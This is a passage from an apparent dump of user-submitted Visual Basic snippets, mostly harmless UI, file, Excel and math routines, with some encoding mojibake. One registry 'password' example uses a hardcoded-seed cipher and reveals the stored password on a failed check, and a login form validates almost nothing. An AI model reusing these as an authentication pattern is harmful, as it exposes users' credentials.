Integer, Shift As Integer, _\n X As Single, Y As Single)\n 'the height of the default text (you will have to change this \n 'if you change the font size)\n WordHeight = 195\n \n 'go through the loop until you get to the file\n For i = 0 To List1.ListCount - 1\n 'check to what line the text is over (you need to go \n 'through the whole list in case you've scrolled down\n If Y > WordHeight * (i - List1.TopIndex) _\n And Y < (WordHeight * i + WordHeight) Then\n 'set the tooltiptext to the list box value\n List1.ToolTipText = List1.List(i)\n 'see if your in \"empty space\"\n ElseIf Y > (WordHeight * i + WordHeight) Then\n List1.ToolTipText = \"Empty space\"\n End If\n Next i\nEnd Sub\n"},{"WorldId":1,"id":2785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2837,"LineNumber":1,"line":"'From the book by Robert Sedgewick 'Algorithms in C++'\n'It is a very useful book. Can you find a non recursive way of doing this? \n'Recursion makes progs smaller and elegant whilst also making them\n'more difficult to understand ( the implicit stack and unwinding of the calls)\nPrivate Sub Form_Load()\nForm1.WindowState = 2 'maximum\nForm1.ScaleMode = 3 'pixel\nShow\nCall star(ScaleWidth \\ 2, ScaleHeight \\ 2, 90)\nEnd Sub\nPrivate Sub star(x As Integer, y As Integer, r As Integer)\nIf r > 1 Then\nCall star(x - r, y + r, r \\ 2)\nCall star(x + r, y + r, r \\ 2)\nCall star(x - r, y - r, r \\ 2)\nCall star(x + r, y - r, r \\ 2)\nCall box(x, y, r)\nEnd If\n\nEnd Sub\nPrivate Sub box(x1 As Integer, y1 As Integer, r1 As Integer)\nLine (x1 - r1, y1 - r1)-(x1 + r1, y1 + r1), , B\n'Form1.Circle (x1 - r1, y1 - r1), r1\n'Line (x1 - r1, y1 - r1)-(x1 + r1, y1 - r1), , B\n'Line -(x1 - (r1 \\ 2), y1 + r1)\n'Line -(x1 - r1, y1 - r1)\n'trying to draw triangle instead of sqr- not work accurately\n\nEnd Sub"},{"WorldId":1,"id":4268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9715,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2911,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3437,"LineNumber":1,"line":"'So you have your 2 forms? Good. \n'Use the code below in the specified \n'areas...\n\n Private Sub Command1_Click()\n Form2.Command1.Value = True\n End Sub\n\n'That goes in form1's command button. Just add an action to the command button on form 2 to work it!"},{"WorldId":1,"id":3190,"LineNumber":1,"line":"Form_Load()\n Me.Caption = \"Login for project\"\n Text1.Text = \"username\"\n Text2.Text = \"password\"\n Command1.Caption = \"Next\" '<or \"ok\" or something\n \nEnd Sub\n'the next code is for command1\nPrivate Sub Command1_Click()\n If Text1.Text <> \"\" And Text2.Text > \"*\" Then\n Form2.Show\n Else MsgBox \"An error was detected, password must be at least 2 digits and a username must be entered.\", 8, \"Invalid entry\"\n End If\n End Sub\n"},{"WorldId":1,"id":2902,"LineNumber":1,"line":"'put this in your module\nDeclare Function ShowCursor& Lib \"user32\" _\n(ByVal bShow As Long)\n'Add this code to Command1.\nPrivate Sub Command1_Click()\nShowCursor (bShow = True)\nEnd Sub\n'Add this to Command2.\nPrivate Sub Command2_Click()\nShowCursor (bShow = False)\nEnd Sub\n'ok, that's it. (o:"},{"WorldId":1,"id":2929,"LineNumber":1,"line":"'Put this in Form1's General Declarations.\nPrivate Sub Label1_Click()\n Timer1.Enabled = True\n \n Form2.Visible = True\nEnd Sub\n\nPrivate Sub Form_Load()\n Timer1.Enabled = False\nEnd Sub\n\nPrivate Sub Timer1_Timer()\n Form1.Top = Form1.Top + 60 'You can adjust the 60 to whatever you prefer. Highering it will make the form drop faster. (o:\n Form2.Enabled = True\nEnd Sub\n'Put this in Form2's General Declarations. (o:\nPrivate Sub Form_Activate()\n Form1.Show\n Form2.Hide\n Form1.Top = (Screen.Height - Height) / 2\n Form1.Left = (Screen.Width - Width) / 2\n Form1.Timer1.Enabled = False\nEnd Sub\n"},{"WorldId":1,"id":2841,"LineNumber":1,"line":"Private Sub Command1_Click()\n Label1.Caption = Int(rnd * 10)\n Label2.Caption = Int(rnd * 10)\n Label3.Caption = Int(rnd * 10)\nIf (Label1.Caption = Label2.Caption) And (Label3.Caption = Label2.Caption) Then\n MsgBox \"You Win!\", 8, \"Winner!\"\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":2847,"LineNumber":1,"line":"'Put this into the Form_MouseMove.\n Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Label1.ForeColor = &H80000012&\n End Sub\n'Ok, now stick this part into your Labels Label1_MouseMove\nPrivate Sub Label1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Label1.ForeColor = &H000000FF&\nEnd Sub"},{"WorldId":1,"id":2810,"LineNumber":1,"line":"Form2.PopUpMenu Form2.Menu1, 1\n'In place of Menu1 put your menus name, as in file.\n'u should have no problems. Thanks"},{"WorldId":1,"id":2867,"LineNumber":1,"line":"'Add this to the timers code area. \nForm1.Width = Form1.Width - 30\nForm1.Height = Form1.Height - 30\nForm1.Top = Form1.Top + 50\nForm1.Left = Form1.Left + 5\n'Feel free to alter this code, this is merely an example to be customized. (o:"},{"WorldId":1,"id":2798,"LineNumber":1,"line":"Private Sub Form_Load\n Left = (Screen.Width - Width) \\ 2\n Top = (Screen.Height - Height) \\ 2\nEnd Sub"},{"WorldId":1,"id":9423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9803,"LineNumber":1,"line":"Private Sub Command1_Click()\nText1.Tag = \"\" 'clears tag each click\nFor i = 1 To Len(Text1)\nstrnew = Mid(Text1, i, 1)\n If strnew = \"a\" Then strnew = \"├ú\" 'converts each letter\n If strnew = \"A\" Then strnew = \"├ä\" 'you can edit these\n If strnew = \"b\" Then strnew = \"b\"\n If strnew = \"B\" Then strnew = \"├ƒ\"\n If strnew = \"c\" Then strnew = \"├º\"\n If strnew = \"C\" Then strnew = \"├ç\"\n If strnew = \"d\" Then strnew = \"├░\"\n If strnew = \"D\" Then strnew = \"├É\"\n If strnew = \"e\" Then strnew = \"├½\"\n If strnew = \"E\" Then strnew = \"┬ú\"\n If strnew = \"f\" Then strnew = \"ƒ\"\n If strnew = \"F\" Then strnew = \"F\"\n If strnew = \"g\" Then strnew = \"g\"\n If strnew = \"G\" Then strnew = \"G\"\n If strnew = \"h\" Then strnew = \"h\"\n If strnew = \"H\" Then strnew = \"H\"\n If strnew = \"i\" Then strnew = \"├»\"\n If strnew = \"I\" Then strnew = \"├Ä\"\n If strnew = \"j\" Then strnew = \"J\"\n If strnew = \"J\" Then strnew = \"┬┐\"\n If strnew = \"k\" Then strnew = \"l‹\"\n If strnew = \"K\" Then strnew = \"\\<\"\n If strnew = \"l\" Then strnew = \"|\"\n If strnew = \"L\" Then strnew = \"(_\"\n If strnew = \"m\" Then strnew = \"m\"\n If strnew = \"M\" Then strnew = \"/V\\\"\n If strnew = \"n\" Then strnew = \"├▒\"\n If strnew = \"N\" Then strnew = \"├æ\"\n If strnew = \"o\" Then strnew = \"├╕\"\n If strnew = \"O\" Then strnew = \"├ò\"\n If strnew = \"p\" Then strnew = \"├₧\"\n If strnew = \"P\" Then strnew = \"├╛\"\n If strnew = \"q\" Then strnew = \"q\"\n If strnew = \"Q\" Then strnew = \"├ÿ\"\n If strnew = \"r\" Then strnew = \"R\"\n If strnew = \"R\" Then strnew = \"r\"\n If strnew = \"s\" Then strnew = \"š\"\n If strnew = \"S\" Then strnew = \"Š\"\n If strnew = \"t\" Then strnew = \"†\"\n If strnew = \"T\" Then strnew = \"t\"\n If strnew = \"u\" Then strnew = \"├║\"\n If strnew = \"U\" Then strnew = \"├£\"\n If strnew = \"v\" Then strnew = \"V\"\n If strnew = \"V\" Then strnew = \"\\/\"\n If strnew = \"w\" Then strnew = \"vv\"\n If strnew = \"W\" Then strnew = \"VV \"\n If strnew = \"x\" Then strnew = \"X\"\n If strnew = \"X\" Then strnew = \"><\"\n If strnew = \"y\" Then strnew = \"├┐\"\n If strnew = \"Y\" Then strnew = \"┬Ñ\"\n If strnew = \"z\" Then strnew = \"Z\"\n If strnew = \"Z\" Then strnew = \"z\"\n'add new character one at a time:\nText1.Tag = Text1.Tag + strnew\nNext i\nText1.Text = Text1.Tag\nEnd Sub\n"},{"WorldId":1,"id":9976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3385,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5577,"LineNumber":1,"line":"'Start a new project\n'Add a new module and class module to your project\n'Add a picture box (with an Image control inside of it)to your form.\n'load an image into the image control\n \n'Put this code in the standard module: declare this..\nPublic SmartSize= new class1 ' SmartSize can be any name class1 the name of the module\n'paste the code below to the class module\n'the cushion variable will space the image away from the picture edge.\nPublic Sub LogicalSize(ContainerObj As Object, ImgObj As Object, ByVal Cushion As Integer)\nDim VertChg, HorzChg As Integer\nDim iRatio As Double\nDim ActualH, ActualW As Integer\nDim ContH, ContW As Integer\nOn Error GoTo LogicErr\nWith ImgObj 'hide picture while changing size\n .Visible = False\n .Stretch = False 'set actual size\nEnd With\nVertChg = 0: HorzChg = 0\nActualH = ImgObj.Height 'actual picture height\nActualW = ImgObj.Width 'actual picture width\nContH = ContainerObj.Height - Cushion 'set max. picture height\nContW = ContainerObj.Width - Cushion 'set max. picture width\nCenterCTL ContainerObj, ImgObj 'center picture\nIf ImgObj.Top < Cushion Or ImgObj.Left < Cushion Then 'is picture larger than container\n If ActualH <> ActualW Then 'picture is not square\n If ActualH > ActualW Then 'height is greater\n iRatio = (ActualH / ActualW) 'get ratio between height and width\n HorzChg = 10 'scale down by 10 units per loop\n VertChg = CInt(Format(iRatio * 10, \"####\"))\n Else 'width is greater\n iRatio = (ActualW / ActualH) 'get ratio between height and width\n VertChg = 10 'scale down by 10 units per loop\n HorzChg = CInt(Format(iRatio * 10, \"####\")) 'round number\n End If\n Else 'picture is square\n VertChg = 10 'scale both height and width equally\n HorzChg = 10\n End If\n Do Until ActualH <= ContH And ActualW <= ContW\n ActualH = ActualH - VertChg 'scale height down\n ActualW = ActualW - HorzChg 'scale width down\n If ActualH < 100 Then\n ActualH = 100 'set min. picture height=100\n Exit Do\n ElseIf ActualW < 100 Then\n ActualW = 100 'set min. picture width=100\n Exit Do\n End If\n Loop\n \n With ImgObj 'set new height and width\n .Stretch = True\n .Height = ActualH\n .Width = ActualW\n End With\nEnd If\nCenterCTL ContainerObj, ImgObj 'center picture in container\nImgObj.Visible = True 'show picture\nExit Sub\nLogicErr:\nMsgBox \"An Error occured while rescaling this image. Image size maybe invalid.\", vbSystemModal + vbExclamation, \"Resize Error!\"\nEnd Sub\nPublic Sub CenterCTL(FRMObj As Object, OBJ As Control)\nWith OBJ\n .Top = (FRMObj.Height / 2) - (OBJ.Height / 2)\n .Left = (FRMObj.Width / 2) - (OBJ.Width / 2)\n .ZOrder\nEnd With\nEnd Sub\n'Call the Logical Size method like this\n'put this code anywhere, in button click, image click whereever you want\nSmartSize.LogicalSize Picture1, Image1, 100\n"},{"WorldId":1,"id":6941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2875,"LineNumber":1,"line":"'just put this line in your form_load event\nSetWindowPos hwnd, conHwndTopmost, 100, 100, 400, 141, conSwpNoActivate Or conSwpShowWindow\n"},{"WorldId":1,"id":2876,"LineNumber":1,"line":"Function RecurseFolderList(foldername)\n Dim fso, f, fc, fj, f1\n Set fso = CreateObject(\"Scripting.FileSystemObject\")\n Set f = fso.GetFolder(foldername)\n Set fc = f.Subfolders\n Set fj = f.Files\n \n 'For each subfolder in the Folder\n For Each f1 In fc\n 'Do something with the Folder Name\n debug.print f1\n 'Then recurse this function with the sub-folder to get any sub-folders\n RecurseFolderList(f1)\n Next\t\n \n 'For each folder check for any files\n For Each f1 In fj\n debug.print f1\n Next\nEnd Function"},{"WorldId":1,"id":4480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2897,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3222,"LineNumber":1,"line":"Public Function SpellCheck(strText As String, Optional blnSupressMsg As Boolean = False) As String\n'This function opens the MS Word Object and uses its spell checker\n'passing back the corrected string\nOn Error Resume Next\nDim oWDBasic As Object\nDim sTmpString As String\nIf strText = \"\" Then\n If blnSupressMsg = False Then\n MsgBox \"Nothing to spell check.\", vbInformation, App.ProductName\n End If\n Exit Function\nEnd If\nScreen.MousePointer = vbHourglass\nSet oWDBasic = CreateObject(\"Word.Basic\")\nWith oWDBasic\n .FileNew\n .Insert strText\n .ToolsSpelling oWDBasic.EditSelectAll\n .SetDocumentVar \"MyVar\", oWDBasic.Selection\nEnd With\nsTmpString = oWDBasic.GetDocumentVar(\"MyVar\")\nsTmpString = Left(sTmpString, Len(sTmpString) - 1)\nIf sTmpString = \"\" Then\n SpellCheck = strText\nElse\n SpellCheck = sTmpString\nEnd If\noWDBasic.FileCloseAll 2\noWDBasic.AppClose\nSet oWDBasic = Nothing\nScreen.MousePointer = vbNormal\nIf blnSupressMsg = False Then\n MsgBox \"Spell check is completed.\", vbInformation, App.ProductName\nEnd If\nEnd Function\n"},{"WorldId":1,"id":3601,"LineNumber":1,"line":"Public Function CompactDatabase(strDatabaseName As String) As Boolean\nOn Error GoTo Err_CompactDatabase\nDim strPath As String\nDim strPath1 As String\nDim strPathSize As String\nDim strPathSize2 As String\nScreen.MousePointer = vbHourglass\n'Save Paths for Database\nstrPath = App.Path & \"\\\" & strDatabaseName\nstrPath1 = App.Path & \"\\\" & \"BackupOf\" & strDatabaseName\n'Repair Database\nDBEngine.RepairDatabase strPath\n'Get Size of File Before Compacting\nstrPathSize = GetFileSize(strPath)\n'Kill the file if it exists\nIf Dir(strPath1) <> \"\" Then Kill strPath1\n'Compact Database to New Name\nDBEngine.CompactDatabase strPath, strPath1\n''Kill the file if it exists\nIf Dir(strPath) <> \"\" Then Kill strPath\n'Compact back to original Name\nDBEngine.CompactDatabase strPath1, strPath\n'Kill the file, no need to save it\nIf Dir(strPath1) <> \"\" Then Kill strPath1\n'Get Size of File After Compacting\nstrPathSize2 = GetFileSize(strPath)\nCompactDatabase = True\n'Display the Summary\nMsgBox UCase(strDatabaseName) & \" compacted successfully.\" _\n & vbNewLine & vbNewLine & \"Size before compacting:\" & vbTab & strPathSize _\n & vbNewLine & \"Size after compacting:\" & vbTab & strPathSize2, vbInformation, \"Compact Successful\"\nErr_CompactDatabase:\n Select Case Err\n Case 0\n Case Else\n MsgBox Err & \": \" & Error, vbCritical, \"CompactDatabase Error\"\n End Select\n \nScreen.MousePointer = vbNormal\nEnd Function\nPublic Function GetFileSize(strFile As String) As String\nDim fso As New Scripting.FileSystemObject\nDim f As File\nDim lngBytes As Long\nConst KB As Long = 1024\nConst MB As Long = 1024 * KB\nConst GB As Long = 1024 * MB\nSet f = fso.GetFile(fso.GetFile(strFile))\nlngBytes = f.Size\nIf lngBytes < KB Then\n GetFileSize = Format(lngBytes) & \" bytes\"\nElseIf lngBytes < MB Then\n GetFileSize = Format(lngBytes / KB, \"0.00\") & \" KB\"\nElseIf lngBytes < GB Then\n GetFileSize = Format(lngBytes / MB, \"0.00\") & \" MB\"\nElse\n GetFileSize = Format(lngBytes / GB, \"0.00\") & \" GB\"\nEnd If\nEnd Function"},{"WorldId":1,"id":6054,"LineNumber":1,"line":"Public Sub SelectInList(varID As Variant, ctlList As Control, Optional ctl As CtlType, _\n Optional blnRefresh As Boolean = True)\n'Selects the Item in List or Combo Box that matches passed varID\nDim x\nIf Not IsNull(varID) Then\n varID = CLng(varID)\n \n If blnRefresh = True Then\n ctlList.Refresh\n End If\n \n For x = 0 To ctlList.ListCount - 1\n If ctlList.ItemData(x) = varID Then\n If ctl = ListBox Then\n ctlList.Selected(x) = True\n Else\n ctlList = ctlList.List(x)\n End If\n Exit Sub\n End If\n Next\nElse\n 'Reset the ComboBox\n ctlList.ListIndex = -1\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":6347,"LineNumber":1,"line":"\nPublic Sub ExportListViewtoExcel(lvwList As Control)\n Dim vntHeader As Variant\n Dim vntData As Variant\n Dim x As Long\n Dim y As Long\n Dim intCol As Integer\n Dim lngRow As Long\n \n 'Get Counts\n intCol = CInt(lvwList.ColumnHeaders.Count - 1)\n lngRow = CLng(lvwList.ListItems.Count - 1)\n \n ReDim vntHeader(0)\n ReDim vntData(intCol, lngRow)\n \n 'Create Header Array\n For x = 0 To intCol\n ReDim Preserve vntHeader(x)\n vntHeader(x) = lvwList.ColumnHeaders(x + 1).Text\n Next\n \n 'Create Data Array\n For x = 0 To lngRow\n vntData(0, x) = lvwList.ListItems.Item(x + 1).Text\n \n For y = 1 To intCol\n vntData(y, x) = lvwList.ListItems.Item(x + 1).SubItems(y)\n Next\n Next\n \n 'Create Excel Object\n OpenExcel vntData, vntHeader\n \nEnd Sub\nPrivate Sub ExportRecords(vntData As Variant, vntHeader As Variant, ws As Worksheet)\n \n Dim lngRow As Long\n Dim intCol As Integer\n Dim varData As Variant\n Dim intStart As Integer\n \n 'Select all Cells and and set the number format to string\n ws.Cells.Select\n ws.Cells.NumberFormat = \"@\"\n ws.Cells(1, 1).Select\n lngRow = UBound(vntData, 2) + 2\n intCol = UBound(vntData, 1) + 1\n intStart = 2 'Start from line 2\n 'Freeze Row 2\n ws.Rows(2).Select\n ws.Activate\n ActiveWindow.FreezePanes = True\n 'Add Headers\n For x = 1 To intCol\n varData = vntHeader(x - 1)\n ws.Cells(1, x) = CStr(varData)\n ws.Cells(1, x).Font.Bold = True\n Next\n \n 'Add Data\n For y = 1 To intCol\n For x = intStart To lngRow\n varData = vntData(y - 1, x - 2)\n \n If IsNull(varData) Then 'Make sure no null values, Excel will choke\n 'Add 1 to Move down a column\n ws.Cells(x + 1, y) = \"\"\n Else\n ws.Cells(x + 1, y) = CStr(varData) 'Convert to String to preserve formatting\n End If\n Next\n Next\n \n 'Resize Columns to Fit\n ws.Columns.AutoFit\nEnd Sub\nPrivate Sub OpenExcel(vntData As Variant, vntHeader As Variant)\nOn Error GoTo Err_OpenExcel\nDim objExcel As Excel.Application\nDim objWrkSht As Worksheet\nDim x As Integer\n'Create Excel Object\nSet objExcel = CreateObject(\"Excel.Application\")\n'Add the Workbook\nobjExcel.Workbooks.Add\nSet objWrkSht = objExcel.ActiveWorkbook.Sheets(1)\nobjExcel.Visible = True\n'Fill the Workbook with data\nExportRecords vntData, vntHeader, objWrkSht\nobjExcel.Interactive = True\n' Clean up:\nSet objExlSht = Nothing\nSet objExcel = Nothing\nErr_OpenExcel:\n Select Case Err\n Case 0\n Case 439\n MsgBox \"You must have Microsoft Excel installed on your PC.\", vbCritical, \"Application Not Found\"\n Case Else\n MsgBox Err & \": \" & Error, vbCritical, \"OpenExcel Error\"\n End Select\nEnd Sub\n"},{"WorldId":1,"id":2920,"LineNumber":1,"line":"Private Sub Form_Load()\n Text1.Text = \"\"\nEnd Sub\nPrivate Sub Command1_Click()\n Label1.Caption = \"\"\n If Command1.Caption = \"Set Password\" Then\n Command1.Caption = \"Check Password\"\n Call SetPassword\n Else\n ThisPass = Text1.Text\n Call CheckPassword\n End If\n \nEnd Sub\nPublic Sub SetPassword()\n Dim CheckPass, ThisNewPass, PassTempVar As String\n \n 'Check and See if the password has been set\n CheckPass = QueryValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\RegPass\", \"Pass\")\n If CheckPass = \"\" Then\n 'If Not Create a new registry Entry\n Ret = CreateNewKey(HKEY_LOCAL_MACHINE, \"Software\\RegPass\")\n End If\n 'Encrypt the String with a static Seed (You can Change this so long as you use the same seed in CheckPassword)\n ThisNewPass = CryptIt(Text1.Text, \"ThisSeed\")\n \n 'Now Set the Password (Encrypted in the Registry)\n Ret = SetKeyValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\RegPass\", \"Pass\", ThisNewPass, REG_SZ)\n Text1.Text = \"\"\n Label1.Caption = \"Password Set\"\n \nEnd Sub\nPublic Sub CheckPassword()\n ' I could have used 1 variable for this but I think this is less confusing\n Dim CheckPass As String\n Dim ThisLength As Integer\n 'Retrieve the Encypted Password from the Regoistry\n CheckPass = CryptIt(QueryValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\RegPass\", \"Pass\"), \"ThisSeed\")\n \n 'For some strange reason I have to trim a trailing character...????\n ThisLength = Len(CheckPass) - 1\n CheckPass = Left(CheckPass, ThisLength)\n \n 'Check It Against the Entered Password\n \n If (CheckPass = Text1.Text) Then\n Command1.Caption = \"Set Password\"\n Label1.Caption = (\"Password Check Was Successful\")\n Else\n Label1.Caption = (\"Incorrect Password...Try Again (was really '\" + CheckPass + \"')\")\n Text1.Text = \"\"\n End If\n \nEnd Sub\nPrivate Sub Command2_Click()\n End\nEnd Sub\n"},{"WorldId":1,"id":2931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2949,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2952,"LineNumber":1,"line":"' To center a form quickly and easily, find the picture of\n' your form in the box in the lower right-hand corner of the \n' screen, right click on it, go to Startup Position, and \n' choose Center Screen. Now no matter what resolution they \n' use, it is in the center of the screen.\n'\n' In the Menu Editor (Tools... Menu Editor OR Ctrl-E), if you \n' make the caption of one of the options \" - \" (without \n' quotes or space) it will add a horizantal line in the menu \n' in that position.\n'\n' To keep from accidentally moving stuff you already have \n' where you want it, go to Format... Lock Controls. That will \n' keep anything from moving.\n'\n' Go to the Project Explorer window (ctrl-r). Right click and \n' go to Project1 Properties. Click on the Make tab. Now you\n' can change Copyright, program Title, version, Company, ect.\n'\n' If you need more help, ask people! Leave feedback here and\n' I will get back to you and add it into this \"help file\"! Look\n' in the help file (Help.. Microsoft Visual Basic Help Topics). \n' Most people are happy to help other people, so just ask."},{"WorldId":1,"id":2926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3074,"LineNumber":1,"line":"\n''There it is\nwrap$ = Chr$(10) + Chr$(13)\nMsgBox \"Line number 1\" + wrap$ + \"Line Number 2\"\n"},{"WorldId":1,"id":9272,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7994,"LineNumber":1,"line":"Now, I understand that some people may not know how to use Cosine and Sine to find the coordinates of dots on a circle, so I will explain it to the best of my ability. Here is a quick explanation. Now, you know that coordinates are shown in (X, Y), well, Cosine (Cos) finds the X and Sine (Sin) finds the Y. So really, you could think of Sine and Cosine as (Cosine, Sine). Don't get confused yet, lol, I will explain this further. Now, Cosine can be used to find the coordinates of a certain point by using the degrees of that point. Here is a quick example:\nCosine(Point_Degree) * Radius_Length = The X coordinate of that Point. And:\nSine(Point_Degree) * Radius_Length = The Y coordinate of that Point. Here is an example of finding the (X, Y) of a point with the degree measurement of 100┬░, and the circle has a radius of 5. To find the X:\nCos(100) * 5,\nand to find the Y:\nSin(100) * 5.\nSimple enough, right? I hope this little tutorial helps you understand the use of Sine and Cosine in finding the coordinates of a point on a circle.\nI've also included my CSS code to demonstrate this tutorial."},{"WorldId":1,"id":6379,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3857,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5320,"LineNumber":1,"line":"'If you want to use this in a program, e-mail me for permission... Howabout you just e-mail me the program when you're done so I can mess with it instead. That's the only reason I have that permission thing anyways.\nFunction Base(BaseNum As Integer, Number As Integer, ClipZeros As Boolean) As String\nDim i As Integer, MB As Integer, endstr As String\nIf BaseNum > 9 Or BaseNum < 2 Then Exit Function 'Filter out \"bad\" numbers\nMB = MaxBit(BaseNum) 'Get the maximum amount of bits possible\nendstr$ = \"\" 'I know, this isn't needed... But it makes me feel secure :)\nIf MB = 0 Then Exit Function 'This also makes me feel secure\nFor i = 1 To MB 'You know this\n If BaseNum ^ (MB - i) <= Number Then 'If I can get one of the BaseNum ^ (MB - i)'s out of Number\n endstr$ = endstr$ & Int(Number / (BaseNum ^ (MB - i))) 'This will see how many BaseNum things are in Number, and put them in as a digit on the end string\n Number = Number - (Int(Number / (BaseNum ^ (MB - i))) * (BaseNum ^ (MB - i))) 'This will subtract everything that was put in the end string\n Else 'This is if Number fails its test\n endstr$ = endstr$ & \"0\" 'Add a 0, needed if you are going to have accuracy in here\n End If 'Comments on every line, live with it\nNext i 'Loop the i\nIf ClipZeros = True Then 'If we need to clip off the 0's at the start\n Do While Mid$(endstr$, 1, 1) = \"0\" 'When there is a zero in front...\n endstr$ = Mid$(endstr$, 2, Len(endstr$) - 1) 'Take it off...\n Loop 'And check again\nEnd If 'I don't know what to put here, sorry\nBase = endstr$ 'Return the number string to the function\nEnd Function 'End the function, what else?\nFunction Dec(OldBaseNum As Integer, Number As String) As Integer\nDim i As Integer, MB As Integer, endstr As String\nIf OldBaseNum > 9 Or OldBaseNum < 2 Then Exit Function 'Make sure the numbers are in the right area\nMB = MaxBit(OldBaseNum) 'Get the maximum possible bits without blowing up vb\nDo While Len(Number) < MB 'As long as the number doesn't have all of the extra 0's...\nNumber = \"0\" & Number 'Add another...\nLoop 'And check again\nFor i = 1 To MB 'What am I supposed to put? Sorry, I'll be serious now, just bored.\nendstr = Val(endstr$) + (OldBaseNum ^ (MB - i) * Mid(Number, i, 1)) 'This will see how much each bit is worth, and multiply it by the actual value of it\nNext i 'Bleah\nDec = Val(endstr) 'This will return the number to the function\nEnd Function 'End the function\nFunction MaxBit(BaseNum As Integer)\nDim i As Integer, MB As Integer, buffer As Integer\nOn Error GoTo GotNum 'This is needed, you'll see why\nMB = 0 'I like to do that\nFor i = 1 To 20 'Start the i \"loop\"\nbuffer = BaseNum ^ i 'Buffer isn't used, I'll explain why. Vb will give an error when it reaches above the integer limit with that exponent. Everytime it makes it, it adds to the exponent, eventually making it to the max number of bits that can be in the number string. Get it? If you don't, look at the Base function and this function VERY carefully.\nMB = MB + 1 'This adds to the exponent\nNext i 'Loops the i\nGotNum: 'This is where it goes when it reaches the max bits possible\nMaxBit = MB 'This will just return the value to the function, and send it over to the other 2\nEnd Function 'End the function, duh"},{"WorldId":1,"id":2960,"LineNumber":1,"line":"Function DiferenciaEnFechas(pdFechaBase As Date, pdFecha As Date) As String\n'******************************************************\n'* Autor : Ricardo Ortiz\n'* Ultima Modificaci├│n: 17/08/1999\n'******************************************************\nDim dFechaAux As Date\nDim iYear As Integer, iMes As Integer, iDia As Integer\nDim iYearFinal As Integer\nDim iMesFinal As Integer\nDim iDiaFinal As Integer\nDim sTiempo As String, sAux As String\n iDia = DatePart(\"d\", pdFecha)\n iMes = Month(pdFechaBase)\n iYear = Year(pdFechaBase)\n dFechaAux = DateSerial(iYear, iMes, iDia)\n iDiaFinal = DateDiff(\"d\", dFechaAux, pdFechaBase)\n iMes = DateDiff(\"m\", pdFecha, pdFechaBase)\n Select Case iMes\n Case Is > 0 'Pasado\n iYearFinal = iMes \\ 12\n iMesFinal = iMes Mod 12\n If iDiaFinal < 0 Then\n If Month(dFechaAux) <> Month(pdFechaBase) Then 'Caso Raro\n iDiaFinal = 31 - (DatePart(\"d\", DateAdd(\"d\", -1, DateSerial(iYear, Month(dFechaAux), 1))))\n dFechaAux = DateAdd(\"m\", -1, dFechaAux)\n dFechaAux = DateAdd(\"d\", -iDiaFinal, dFechaAux)\n Else 'Caso Normal\n dFechaAux = DateAdd(\"m\", -1, dFechaAux)\n End If\n iDiaFinal = DateDiff(\"d\", dFechaAux, pdFechaBase)\n \n If iMesFinal > 0 Then\n iMesFinal = iMesFinal - 1\n Else\n If iYearFinal > 0 Then\n iYearFinal = iYearFinal - 1\n iMesFinal = 11\n End If\n End If\n End If\n sTiempo = \"Pasado: \"\n Case Is = 0\n iYearFinal = 0\n iMesFinal = 0\n If iDiaFinal < 0 Then 'Futuro\n iDiaFinal = DateDiff(\"d\", pdFechaBase, dFechaAux)\n sTiempo = \"Futuro: \"\n ElseIf iDiaFinal = 0 Then 'HOY\n sTiempo = \"HOY: \"\n Else 'Pasado\n sTiempo = \"Pasado: \"\n End If\n Case Else 'Futuro\n iMes = DateDiff(\"m\", pdFechaBase, pdFecha)\n iYearFinal = iMes \\ 12\n iMesFinal = iMes Mod 12\n \n If iDiaFinal > 0 Then\n dFechaAux = DateAdd(\"m\", 